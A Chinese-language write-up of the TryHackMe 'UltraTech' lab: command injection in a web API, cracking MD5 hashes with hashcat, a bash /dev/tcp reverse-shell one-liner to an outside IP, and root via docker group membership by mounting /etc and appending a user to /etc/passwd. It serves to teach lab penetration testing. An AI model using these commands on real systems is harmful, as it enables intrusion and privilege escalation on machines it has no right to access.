TryHackMe-UltraTech

在线链接:UltraTech

难度不高,但是涉及docker的一个靶机。

信息收集

nmap扫描

  • 21 ftp
  • 22 ssh
  • 8081 http node.js
  • 31331 apache

看到ftp先试试能不能匿名登录。

可惜不成功。。

先去浏览下网站

8081端口是个api接口

31331端口下的http有robots.txt

好像是个站点地图。访问试试

找到登录页面:

随便提交几个请求,用bp抓包看看。

脆弱利用

发现一个可能是命令执行的地方。

尝试下执行id,虽然是成功了,但是好像只有一行输出。。

ls之后发现有个sqlite的数据库

查看之后获得两个用户名和两个哈希值

这两个哈希是md5加密的,用hashcat跑下rockyou就出来了。

1
hashcat -a 0 -m 0 'md5' ~/tools/rockyou.txt --force

拿到密码后,尝试直接登录了网站后台,但是什么都没有

这里原本想直接命令执行bash -c 'bash -i >&/dev/tcp/1.1.1.1/1234 0>&1'来获得www权限,但是尝试了多次都不行。

最后灵光一闪,想到了一个思路。既然直接运行反弹shell命令不行,那就自己写个反弹shell的脚本。然后运行不就好了?

反弹shell

提权

拿到www用户权限。

还有另外两个用户。

我卡在这里差不多将近1个半小时。找不到可以利用的提权思路。在这段把玩的时间我发现登录ftp后的目录就是登录用户的家目录,r00t用户的密码和在前面sqlite数据库中爆破出来的一样。我原本以为能利用pkexec提权的,但是现实打了我脸。。

最后,我以为我真的没有办法的时候,看了一下r00t用户的id。结果发现r00t用户还是docker的组用户,这下我有多了一个提权方向了。。

但是我做过的docker靶机还是比较少,一下子没能有什么好的办法。但是在freebuf中找到普通用户借助Docker容器提权思路分享

使用docker命令看了一下之后,发现确实是有一个docker镜像,但是没有正在运行的镜像。

因为我对docker不是很熟悉,所以跟着freebuf的文章操作。

恩,一开始看到报错,我还傻眼了,怎么可能没有/bin/bash,不会把不会吧?

1
2
3
docker ps 列出在运行的镜像
docker images 列出存在的镜像
docker run -it --rm -v /etc:/etc/ xxxx /bin/bash #运行镜像

结果是被藏到了其他地方。。然后这时我又遇到了一个问题了,usermod命令没有找到。。这就说明我跟着freebuf操作的这条路断了一半。。可是此时我看到文章说:

在这种多用户借助docker共用一台机器的情况下,普通用户可以轻松的借助docker提升为sudo用户,从而可以进行任意修改系统配置等各种恶意操作。

看到这段话后我就怀疑这个靶机是不是也是如此。想到这里,我就想着看下/etc/shadow文件,看能不能看到docker外的用户信息(因为在docker镜像里面是root用户)

毫无疑问,镜像内和镜像外用的是同一个环境。这就简单了,我直接往/etc/passwd文件追加了一个用户。

写好之后,退出镜像,直接切换用户test。

此时我们已经获得root权限了。

总结:

用户组也很重要。
学会了一些docker的提权思路